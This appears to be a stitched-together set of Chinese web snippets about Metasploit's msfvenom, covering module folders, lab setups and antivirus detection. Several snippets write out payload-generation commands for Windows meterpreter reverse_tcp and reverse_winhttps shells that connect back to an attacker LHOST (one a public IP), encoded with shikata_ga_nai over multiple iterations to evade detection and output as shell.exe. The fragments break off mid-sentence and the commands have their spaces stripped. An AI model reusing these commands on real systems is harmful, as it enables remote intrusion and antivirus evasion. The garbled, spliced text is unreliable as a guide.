模块含义auxiliary：主要包含渗透测试中一些辅助性脚本，这些脚本功能有扫描，嗅探，破解，注入，漏洞挖掘等。encoders：编码工具，用于躲过入侵检测和过滤系统。exploit：主要包括了exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这个目录下，这里边包括的exp的路径的命名规则是：

###生成payloadmsfvenom-pwindows/meterpreter/reverse_winhttpsLHOST=39.97.167.211LPORT=6667--platformwindows-ax86HandLerSSLCert=./my.pemStagerVerifySSLCert=true-s42--smallest-ex86/shikata_ga_nai-i9-fraw|msfvenom--platformwindows-ax86

#Msfvenom场景有时候我们上传Shell到目标主机后，不仅我们自己可以连接，其他用户也可以连接，有时候会导致我们丢失该Shell，甚至该shell被用户发现并查杀，本篇文章我们将介绍如何通过Msfvenom来生成用户自己的专属Shell实验环境【kali（攻击主机）】：192.168.10.131【win7（目标主机）】：19

实验环境：靶机Windowsserver2003  192.168.242.129攻击机kali 192.168.242.131实验工具：MetasploitFramework(MSF)实验过程：确定攻击机和靶机之间连通性 利用msfvenom生成远控木马msfvenom是msfpayload,msfencode的结合体，可利用msfvenom生成木马程序,并在目标机上

MSFvenom1.1MSFvenom介绍MSFvenom是Msfpayload和Msfencode的组合，可以生成各种攻击载荷，并且可以对载荷进行编码。做渗透测试时往往需要将有效负载部署在目标系统上，而msfvenom可以快速创建符合靶机的载荷，Msfvenom包含标准的命令行选项。可以为许多平台生成有效负载，如Android，Win

Metasploit之Msfvenom实战渗透-FreeBuf网络安全行业门户Metasploit(MSF)渗透测试入门-知乎(zhihu.com)1、介绍Msfvenom用于生成木马。-l,--list<type>#列出所有可用的项目，其中值可以被设置为payloads,encoders,nops,platforms,archs,encrypt,formats等等-p,

一、基础问题回答1、杀软是如何检测出恶意代码的？答：（1）检测特征码人有自己的特征，代码也有自己的特征。杀毒软件都有着一套特征库，依靠检索程序代码是否和库中特征码是否吻

windows:msfvenom-ax86--platformWindows-pwindows/meterpreter/reverse_tcpLHOST=攻击机IPLPORT=攻击机端口-ex86/shikata_ga_nai-b'\x00\x0a\xff'-i3-

MSF生成EXE：msfvenom-p有效载荷-f输出格式-o输出文件msfvenom-pwindows/meterpreter/reverse_tcp-fexe-opayload.exeMSF生成Shellcode：msfvenom-a系统架构

MSFVENOM使用步骤概述MSFvenom是Msfpayload和Msfencode的组合，可以生成各种攻击载荷，并且可以对载荷进行编码。做渗透测试时往往需要将有效负载部署在目标系统上，而msfvenom

二进制windowsmsfvenom-pwindows/meterpreter/reverse_tcpLHOST=10.211.55.2LPORT=3333-ax86--platformWindows-fexe>shell.exemsfvenom-pwindows/x64/meterp